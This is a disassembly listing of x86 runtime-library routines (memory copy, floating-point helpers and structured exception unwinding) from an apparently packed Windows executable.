; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCE3 proc near ; CODE XREF: .packed:0040B062p
; sub_40C2AF+40p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B9C0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420DB0
add esp, 10h
leave
retn
sub_41CCE3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p
; sub_40B13C+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CD40
cmp edi, eax
jb loc_41CEB8
loc_41CD40: ; CODE XREF: sub_41CD20+16j
test edi, 3
jnz short loc_41CD5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
loc_41CD5C: ; CODE XREF: sub_41CD20+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CD74
and eax, 3
add ecx, eax
jmp dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CD74: ; CODE XREF: sub_41CD20+46j
jmp dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD7C: ; CODE XREF: sub_41CD20+31j
; sub_41CD20+8Ej ...
jmp off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 0CDh, 41h, 0
dd offset loc_41CDBC
dd offset loc_41CDE0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CDBC: ; DATA XREF: sub_41CD20+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CDE0: ; DATA XREF: sub_41CD20+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr
dd offset loc_41CE4C
dd offset loc_41CE44
dd offset loc_41CE3C
dd offset loc_41CE34
dd offset loc_41CE2C
dd offset loc_41CE24
dd offset loc_41CE1C
; ---------------------------------------------------------------------------
loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20:off_41CDFCo
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r
; sub_41CD20+92r ...
dd offset loc_41CE80
dd offset loc_41CE8C
dd offset loc_41CEA0
; ---------------------------------------------------------------------------
loc_41CE78: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE80: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE8C: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CEA0: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CEEC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j
; sub_41CD20+208j ...
neg ecx
jmp off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CF04
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CF04: ; CODE XREF: sub_41CD20+1D6j
; DATA XREF: sub_41CD20+1DDr
jmp off_41D000[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
cmp bh, cl
inc ecx
add [eax-31h], ah
inc ecx
loc_41CF17: ; DATA XREF: sub_41CD20+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CFB4
dd offset loc_41CFBC
dd offset loc_41CFC4
dd offset loc_41CFCC
dd offset loc_41CFD4
dd offset loc_41CFDC
dd offset loc_41CFE4
off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------
loc_41CFB4: ; DATA XREF: sub_41CD20+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CFBC: ; DATA XREF: sub_41CD20+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CFC4: ; DATA XREF: sub_41CD20+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CFCC: ; DATA XREF: sub_41CD20+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CFD4: ; DATA XREF: sub_41CD20+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CFDC: ; DATA XREF: sub_41CD20+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CFE4: ; DATA XREF: sub_41CD20+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j
; DATA XREF: sub_41CD20:off_41CFB0o
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r
; sub_41CD20:loc_41CF04r ...
dd offset loc_41D018
dd offset loc_41D028
dd offset loc_41D03C
; ---------------------------------------------------------------------------
loc_41D010: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D018: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D028: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D03C: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CD20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D055(double)
sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE10
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D0DB
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D0BE
cmp eax, 2
jle short loc_41D0B0
cmp eax, 3
jnz short loc_41D0BE
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_421861
add esp, 10h
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0B0: ; CODE XREF: sub_41D055+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0BE: ; CODE XREF: sub_41D055+3Aj
; sub_41D055+44j
fld [ebp+arg_0]
fadd dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41D118
; ---------------------------------------------------------------------------
loc_41D0DB: ; CODE XREF: sub_41D055+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D0FE
loc_41D0F0: ; CODE XREF: sub_41D055+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0FE: ; CODE XREF: sub_41D055+99j
test bl, 20h
jnz short loc_41D0F0
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41D118: ; CODE XREF: sub_41D055+84j
call sub_4218B4
add esp, 1Ch
loc_41D120: ; CODE XREF: sub_41D055+59j
; sub_41D055+67j ...
pop esi
pop ebx
leave
retn
sub_41D055 endp
; =============== S U B R O U T I N E =======================================
sub_41D124 proc near ; CODE XREF: sub_41C164+9p
; sub_422152+21p
; DATA XREF: ...
call sub_41D13C
call sub_422152
mov dword_4DBE30, eax
call sub_422102
fnclex
retn
sub_41D124 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41D13C proc near ; CODE XREF: sub_41D124p
mov eax, offset sub_422540
mov off_43D424, offset sub_4221D5
mov off_43D420, eax
mov off_43D428, offset sub_42223B
mov off_43D42C, offset sub_42217B
mov off_43D430, offset sub_422223
mov off_43D434, eax
retn
sub_41D13C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp
; sub_40D2F4+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41D174 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D19B(double)
sub_41D19B proc near ; CODE XREF: sub_40D340+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE28
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D221
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D204
cmp eax, 2
jle short loc_41D1F6
cmp eax, 3
jnz short loc_41D204
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_421861
add esp, 10h
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D204: ; CODE XREF: sub_41D19B+3Aj
; sub_41D19B+44j
fld [ebp+arg_0]
fadd dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41D25E
; ---------------------------------------------------------------------------
loc_41D221: ; CODE XREF: sub_41D19B+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D244
loc_41D236: ; CODE XREF: sub_41D19B+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D244: ; CODE XREF: sub_41D19B+99j
test bl, 20h
jnz short loc_41D236
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41D25E: ; CODE XREF: sub_41D19B+84j
call sub_4218B4
add esp, 1Ch
loc_41D266: ; CODE XREF: sub_41D19B+59j
; sub_41D19B+67j ...
pop esi
pop ebx
leave
retn
sub_41D19B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D26A proc near ; CODE XREF: sub_4229B1+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41D26A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41D29E proc near ; CODE XREF: sub_422B62+199p
; sub_422D26+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D29E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D2A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp
; sub_4229B1:loc_4229E2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41D2D4
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_426356 ; RtlUnwind
loc_41D2D4: ; DATA XREF: sub_41D2AC+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_41D2AC endp
; ---------------------------------------------------------------------------
loc_41D2FB: ; CODE XREF: .packed:00426AACj
; .packed:00426AC9j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4225B6
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D331 proc near ; CODE XREF: sub_422A2C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41D385
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422DB0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41D331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D385 proc near ; DATA XREF: sub_41D331+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
pop ebp
retn
sub_41D385 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D45E
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D430
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DBE70
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41D430: ; DATA XREF: sub_41D3AA+3Co
cmp [ebp+var_4], 0
jz short loc_41D44D
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D456
; ---------------------------------------------------------------------------
loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D456: ; CODE XREF: sub_41D3AA+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41D3AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41D481
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41D4CE
; ---------------------------------------------------------------------------
loc_41D481: ; CODE XREF: sub_41D45E+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41D4BF
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41D2AC
loc_41D4BF: ; CODE XREF: sub_41D45E+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41D4CE: ; CODE XREF: sub_41D45E+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D45E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p
; sub_4227F8+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41D52A
loc_41D4F1: ; CODE XREF: sub_41D4D3+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41D4FB
call sub_422E52
loc_41D4FB: ; CODE XREF: sub_41D4D3+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41D510
cmp ecx, [eax+8]
jle short loc_41D515
loc_41D510: ; CODE XREF: sub_41D4D3+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41D521
loc_41D515: ; CODE XREF: sub_41D4D3+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41D521: ; CODE XREF: sub_41D4D3+40j
cmp [ebp+arg_4], 0
jge short loc_41D4F1
mov eax, [ebp+var_4]
loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41D53E
cmp esi, eax
jbe short loc_41D543
loc_41D53E: ; CODE XREF: sub_41D4D3+65j
call sub_422E52
loc_41D543: ; CODE XREF: sub_41D4D3+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41D4D3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_41D568
push [ebp+arg_0]
call sub_426356 ; RtlUnwind
loc_41D568: ; DATA XREF: sub_41D550+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D550 endp
; =============== S U B R O U T I N E =======================================
sub_41D570 proc near ; DATA XREF: sub_41D592+Ao
; sub_41D5FA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D591
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D591: ; CODE XREF: sub_41D570+10j
retn
sub_41D570 endp
; =============== S U B R O U T I N E =======================================
sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp
; sub_423CC0+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41D570
push large dword ptr fs:0
mov large fs:0, esp
loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D5EC
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D5EC
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D5EA
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D626
call dword ptr [ebx+esi*4+8]
loc_41D5EA: ; CODE XREF: sub_41D592+44j
jmp short loc_41D5AF
; ---------------------------------------------------------------------------
loc_41D5EC: ; CODE XREF: sub_41D592+2Aj
; sub_41D592+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D592 endp
; =============== S U B R O U T I N E =======================================
sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D570
jnz short locret_41D61C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D61C
mov eax, 1
locret_41D61C: ; CODE XREF: sub_41D5FA+10j
; sub_41D5FA+1Bj
retn
sub_41D5FA endp
; =============== S U B R O U T I N E =======================================
sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep
; sub_422DB0+40p
push ebx
push ecx
mov ebx, offset dword_43AE2C
jmp short loc_41D630
sub_41D61D endp
